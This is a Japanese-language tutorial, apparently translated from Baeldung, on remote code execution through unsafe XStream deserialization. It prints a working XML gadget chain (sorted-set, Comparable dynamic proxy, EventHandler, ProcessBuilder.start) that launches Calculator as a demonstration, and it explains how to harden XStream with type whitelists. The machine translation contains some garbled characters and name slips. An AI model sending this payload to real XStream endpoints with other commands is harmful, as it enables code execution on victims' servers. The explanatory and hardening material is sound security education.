java-xstream-remote-code-execution
XStreamを使用したリモートコード実行
-
link:/category/security-2/ [セキュリティ]
1. 概要
このチュートリアルでは、XStream XMLシリアル化ライブラリに対するリモートコード実行攻撃を分析します。 このエクスプロイトは、攻撃の「信頼できないデシリアライゼーション」カテゴリに分類されます。
XStreamがこの攻撃に対して脆弱な場合、攻撃の仕組み、およびそのような攻撃を防ぐ方法について学習します。
2. XStreamの基本
攻撃について説明する前に、XStreamの基本をいくつか見てみましょう。 XStreamは、Java型とXMLの間で変換するXMLシリアル化ライブラリです。 単純な_Person_クラスを考えてみましょう:
public class Person {
private String first;
private String last;
// standard getters and setters
}
link:/xstream-serialize-object-to-xml[XStreamが_Person_インスタンスをXMLに書き込む方法]を見てみましょう。
XStream xstream = new XStream();
String xml = xstream.toXML(person);
同様に、https://www.baeldung.com/xstream-deserialize-xml-to-object [XStreamはXMLを_Person_のインスタンスに読み込むことができます]:
XStream xstream = new XStream();
xstream.alias("person", Person.class);
String xml = "<person><first>John</first><last>Smith</last></person>";
Person person = (Person) xstream.fromXML(xml);
どちらの場合も、XStreamはlink:/java-reflection[Java reflection]を使用して、_Person_型とXMLの相互変換を行います。 攻撃はXMLの読み取り中に発生します。 XMLを読み取るとき、XStreamはリフレクションを使用してJavaクラスをインスタンス化します。
-
XStreamがインスタンス化するクラスは、解析するXML要素の名前によって決定されます。*
_Person_タイプを認識するようにXStreamを構成したため、XStreamは、「person」という名前のXML要素を解析するときに新しい_Person_をインスタンス化します。
_Person_などのユーザー定義型に加えて、XStreamはコアJava型をすぐに認識します。 たとえば、XStreamはXMLから_Map_を読み取ることができます。
String xml = ""
+ "<map>"
+ " <element>"
+ " <string>foo</string>"
+ " <int>10</int>"
+ " </element>"
+ "</map>";
XStream xStream = new XStream();
Map<String, Integer> map = (Map<String, Integer>) xStream.fromXML(xml);
コアJava型を表すXMLを読み取るXStreamの機能が、リモートコード実行のエクスプロイトでどのように役立つかを確認します。
3. 攻撃の仕組み
リモートコード実行攻撃は、攻撃者が最終的にコードとして解釈される入力を提供したときに発生します。 この場合、攻撃者は攻撃コードをXMLとして提供することにより、XStreamの逆シリアル化戦略を悪用します。
クラスの正しい構成により、XStreamは最終的にJavaリフレクションを介して攻撃コードを実行します。
攻撃の例を作成しましょう。
3.1. _ProcessBuilder_に攻撃コードを含める
私たちの攻撃の目的は、新しいデスクトップ計算プロセスを開始することです。 macOSでは、これは「/Applications/Calculator.app」です。 Windowsでは、これは「calc.exe」です。 そのために、XProcessを使用して、_ProcessBuilder._を使用して新しいプロセスを実行するようにします。
new ProcessBuilder().command("executable-name-here").start();
XMLを読み取るとき、XStreamはコンストラクターを呼び出してフィールドを設定するだけです。 したがって、攻撃者は_ProcessBuilder.start()_メソッドを呼び出す簡単な方法を持っていません。
ただし、巧妙な攻撃者はクラスの正しい構成を使用して、最終的に_ProcessBuilder_â€〜s _start()_メソッドを実行できます。
セキュリティ研究者http://blog.diniscruz.com/2013/12/xstream-remote-code-execution-exploit.html[Dinis Cruzがブログ投稿で示しています]彼らが_Comparable_インターフェースを使用して攻撃コードを呼び出す方法ソートされたコレクションのコピーコンストラクター_TreeSet._ここでアプローチを要約します。
3.2. _Comparable_動的プロキシを作成する
攻撃者は_ProcessBuilder_を作成し、_start()_メソッドを呼び出す必要があることを思い出してください。 そのためには、_Compare_メソッドが_ProcessBuilder_â€〜s _start()_メソッドを呼び出す_Comparable_のインスタンスを作成します。
*幸いなことに、https://www.baeldung.com/java-dynamic-proxies [Java Dynamic Proxies]を使用すると、_Comparable_ dynamic __.__ *のインスタンスを作成できます。
さらに、Javaの_EventHandler_クラスは、構成可能な_InvocationHandler_実装を攻撃者に提供します。 *攻撃者は、_EventBuilder_を設定して、_ProcessBuilder_âの_start()_メソッドを呼び出します。*
これらのコンポーネントをまとめると、_Comparable_プロキシのXStream XML表現ができます。
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
3.3. _Comparable_動的プロキシを使用して比較を強制する
_Comparable_プロキシとの比較を強制するために、ソートされたコレクションを作成します。 * 2つの_Comparable_インスタンスを比較する_TreeSet_コレクションを作成してみましょう:_String_とプロキシ。*
このコレクションを構築するには、_TreeSet_âのコピーコンストラクターを使用します。 最後に、プロキシと_String_を含む新しい_TreeSet_のXStream XML表現があります。
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
最終的に、XStreamがこのXMLを読み取るときに攻撃が発生します。 開発者はXStreamが_Person_を読み取ることを期待していますが、代わりに攻撃を実行します。
String sortedSortAttack = // XML from above
XStream xstream = new XStream();
Person person = (Person) xstream.fromXML(sortedSortAttack);
3.4. 攻撃の概要
XStreamがこのXMLをデシリアライズするときに行うリフレクションコールを要約しましょう
-
XStreamは、Collection_で_TreeSet_コピーコンストラクターを呼び出します
_String “foo”と_Comparable_プロキシを含む。 -
_TreeSet_コンストラクターは、_Comparable_プロキシーの_compareTo_を呼び出します
ソートされたセット内のアイテムの順序を決定するためのメソッド。 -
Comparable_動的プロキシは、すべてのメソッド呼び出しを
_EventHandler。 -
_EventHandler_は、の_start()_メソッドを呼び出すように構成されています
_ProcessBuilder_それが構成します。 -
_ProcessBuilder_は、コマンドを実行する新しいプロセスをフォークします
攻撃者は実行を望んでいます。
4. XStreamが脆弱なのはいつですか?
*攻撃者が読み取るXMLを攻撃者が制御すると、XStreamはこのリモートコード実行攻撃に対して脆弱になる可能性があります。*
たとえば、XML入力を受け入れるREST APIを検討してください。 このREST APIがXStreamを使用してXML要求本文を読み取る場合、APIに送信されるXMLのコンテンツを攻撃者が制御するため、リモートコード実行攻撃に対して脆弱になる可能性があります。
一方、XStreamのみを使用して信頼できるXMLを読み取るアプリケーションでは、攻撃対象領域がはるかに小さくなります。
たとえば、XStreamのみを使用して、アプリケーション管理者が設定したXML構成ファイルを読み取るアプリケーションを考えます。 攻撃者はアプリケーションが読み取るXML(管理者)を制御できないため、このアプリケーションはXStreamリモートコード実行にさらされません。
5. リモートコード実行攻撃に対するXStreamの強化
幸いなことに、XStreamはバージョン1.4.7でhttps://x-stream.github.io/security.html [セキュリティフレームワーク]を導入しました。 セキュリティフレームワークを使用して、リモートコード実行攻撃に対する例を強化できます。 *セキュリティフレームワークにより、インスタンス化が許可されているタイプのホワイトリストでXStreamを設定できます。*
このリストには、基本タイプと_Person_クラスのみが含まれます。
XStream xstream = new XStream();
xstream.addPermission(NoTypePermission.NONE);
xstream.addPermission(NullPermission.NULL);
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
xstream.allowTypes(new Class<?>[] { Person.class });
さらに、XStreamユーザーは、ランタイムアプリケーション自己保護(RASP)エージェントを使用してシステムを強化することを検討できます。 * RASPエージェントは、実行時にlink:/java-instrumentation[bytecode instrumentation]を使用して、攻撃を自動的に検出およびブロックします。*この手法は、タイプのホワイトリストを手動で作成するよりもエラーが発生しにくいです。
6. 結論
この記事では、XStreamを使用してXMLを読み取るアプリケーションでリモートコード実行攻撃を実行する方法を学びました。 このような攻撃が存在するため、XStreamを使用して信頼できないソースからXMLを読み取る場合、XStreamを強化する必要があります。
XStreamはリフレクションを使用して、攻撃者のXMLによって識別されたJavaクラスをインスタンス化するため、エクスプロイトが存在します。
いつものように、例のコードはhttps://github.com/eugenp/tutorials/tree/master/xstream[GitHubで]にあります。